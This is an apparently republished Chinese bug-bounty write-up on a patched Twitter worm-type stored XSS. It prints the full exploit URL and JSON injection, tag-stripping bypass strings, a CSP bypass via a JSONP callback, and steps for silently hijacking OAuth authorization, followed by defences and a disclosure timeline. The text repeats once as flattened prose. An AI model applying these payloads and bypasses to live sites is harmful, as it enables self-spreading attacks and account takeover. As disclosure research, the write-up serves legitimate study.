BugBounty:Twitter 蠕虫XSS
字数 1334 2025-08-26 22:11:22

Twitter 蠕虫型XSS漏洞分析与利用技术

漏洞概述

2018年中期发现的Twitter储存型XSS漏洞位于Twitter的转发功能中,具有蠕虫传播特性。该漏洞允许攻击者构造特殊URL,当用户转发包含该URL的推文时,XSS payload会在用户间自动传播,形成蠕虫效应。

漏洞利用代码

原始利用URL结构:

https://twitter.com/messages/compose?recipient_id=988260476659404801&welcome_message_id=988274596427304964&text=%3C%3Cx%3E/script%3E%3C%3Cx%3Eiframe%20id%3D__twttr%20src%3D/intent/retweet%3Ftweet_id%3D1114986988128624640%3E%3C%3Cx%3E/iframe%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/alert%3Buser_id%3D12%3E%3C%3Cx%3E/script%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/frames%5B0%5D.retweet_btn_form.submit%3Buser_id%3D12%3E

技术细节

漏洞位置

漏洞存在于Twitter的"欢迎消息深层链接"功能中,该功能以Twitter卡的形式呈现给用户,使用iframe元素加载内容。

注入点

payload被放置在"text"参数中,最终影响内联JSON对象的"default_composer_text"键值:

{
  "default_composer_text": "</script><iframe id=__twttr src=/intent/retweet?tweet_id=1114986988128624640></iframe><script src=//syndication.twimg.com/timeline/profile?callback=__twttr/alert;user_id=12></script><script src=//syndication.twimg.com/timeline/profile?callback=__twttr/frames[0].retweet_btn_form.submit;user_id=12>\\u00A0"
}

绕过限制的技术

  1. HTML标签剥离绕过

    • 原始payload:</script><svg onload=alert()>
    • 绕过形式:<</<x>/script/test000><</<x>svg onload=alert()></><script>1<\x>2
    • 结果变为:</script/test000><svg onload=alert()>
  2. 字符限制

    • 单引号和双引号被转义为\'\"
    • HTML标签被剥离
    • payload长度限制在300字符内
  3. CSP绕过

    • Twitter的CSP策略中script-src包含https://*.twimg.com,过于宽松
    • 利用JSONP端点:https://syndication.twimg.com/timeline/profile?callback=__twttr;user_id=12
    • 回调参数限制:必须以__twttr为前缀

完整payload工作原理

  1. 创建带有ID __twttr的iframe元素,指向特定推文
  2. 绕过CSP同源策略,调用同步函数(如alert)延迟下一个脚本执行
  3. 通过iframe提交转发推文的表单

蠕虫传播机制

  1. 链式传播

    • 创建一系列推文,每条推文包含使转发前一条推文的payload
    • 接触第一条推文会导致转发整个链条
  2. 广泛传播

    • 推广带有XSS payload的推文
    • 可混合两种传播机制增强效果

高级利用技术

OAuth授权劫持

通过以下步骤静默获取用户对第三方应用的授权:

  1. 发送携带payload的推文并获取ID:

    </script><iframe src=/oauth/authorize?oauth_token=cXDzjwAAAAAA4_EbAAABaizuCOk></iframe>
    
  2. 发送第二条推文并获取ID:

    </script><script id=__twttr src=//syndication.twimg.com/tweets.json?callback=__twttr/parent.frames[0].oauth_form.submit;ids=20></script>
    
  3. 发送整合推文:

    </script><iframe src=/i/cards/tfw/v1/1118608452136460288></iframe><iframe src=/i/cards/tfw/v1/1118609496560029696></iframe>
    

防御措施分析

  1. 输入过滤

    • 更严格的HTML标签过滤
    • 更好的字符转义处理
  2. CSP强化

    • 避免使用过于宽松的通配符(*.twimg.com)
    • 限制JSONP回调函数的格式
  3. 同源策略

    • 确保iframe使用沙盒属性
    • 限制跨域通信

时间线

  • 2018年4月23日:提交原始bug报告
  • 2018年4月25日:确认存在bug
  • 2018年4月27日:Twitter奖励2940美元
  • 2018年5月4日:开始修复
  • 2019年4月7日:提供CSP绕过信息
  • 2019年4月22日:CSP绕过修复完成
  • 2019年5月2日:公开披露

参考资源

  1. Twitter欢迎消息深层链接文档
  2. HTML规范中的窗口对象命名访问
  3. 同源方法执行(SOME)攻击
  4. Twitter ID文档
  5. Twitter OAuth授权API
Twitter 蠕虫型XSS漏洞分析与利用技术 漏洞概述 2018年中期发现的Twitter储存型XSS漏洞位于Twitter的转发功能中,具有蠕虫传播特性。该漏洞允许攻击者构造特殊URL,当用户转发包含该URL的推文时,XSS payload会在用户间自动传播,形成蠕虫效应。 漏洞利用代码 原始利用URL结构: 技术细节 漏洞位置 漏洞存在于Twitter的"欢迎消息深层链接"功能中,该功能以Twitter卡的形式呈现给用户,使用iframe元素加载内容。 注入点 payload被放置在"text"参数中,最终影响内联JSON对象的"default_ composer_ text"键值: 绕过限制的技术 HTML标签剥离绕过 : 原始payload: </script><svg onload=alert()> 绕过形式: <</<x>/script/test000><</<x>svg onload=alert()></><script>1<\x>2 结果变为: </script/test000><svg onload=alert()> 字符限制 : 单引号和双引号被转义为 \' 和 \" HTML标签被剥离 payload长度限制在300字符内 CSP绕过 : Twitter的CSP策略中 script-src 包含 https://*.twimg.com ,过于宽松 利用JSONP端点: https://syndication.twimg.com/timeline/profile?callback=__twttr;user_id=12 回调参数限制:必须以 __twttr 为前缀 完整payload工作原理 创建带有ID __twttr 的iframe元素,指向特定推文 绕过CSP同源策略,调用同步函数(如alert)延迟下一个脚本执行 通过iframe提交转发推文的表单 蠕虫传播机制 链式传播 : 创建一系列推文,每条推文包含使转发前一条推文的payload 接触第一条推文会导致转发整个链条 广泛传播 : 推广带有XSS payload的推文 可混合两种传播机制增强效果 高级利用技术 OAuth授权劫持 通过以下步骤静默获取用户对第三方应用的授权: 发送携带payload的推文并获取ID: 发送第二条推文并获取ID: 发送整合推文: 防御措施分析 输入过滤 : 更严格的HTML标签过滤 更好的字符转义处理 CSP强化 : 避免使用过于宽松的通配符( *.twimg.com ) 限制JSONP回调函数的格式 同源策略 : 确保iframe使用沙盒属性 限制跨域通信 时间线 2018年4月23日:提交原始bug报告 2018年4月25日:确认存在bug 2018年4月27日:Twitter奖励2940美元 2018年5月4日:开始修复 2019年4月7日:提供CSP绕过信息 2019年4月22日:CSP绕过修复完成 2019年5月2日:公开披露 参考资源 Twitter欢迎消息深层链接文档 HTML规范中的窗口对象命名访问 同源方法执行(SOME)攻击 Twitter ID文档 Twitter OAuth授权API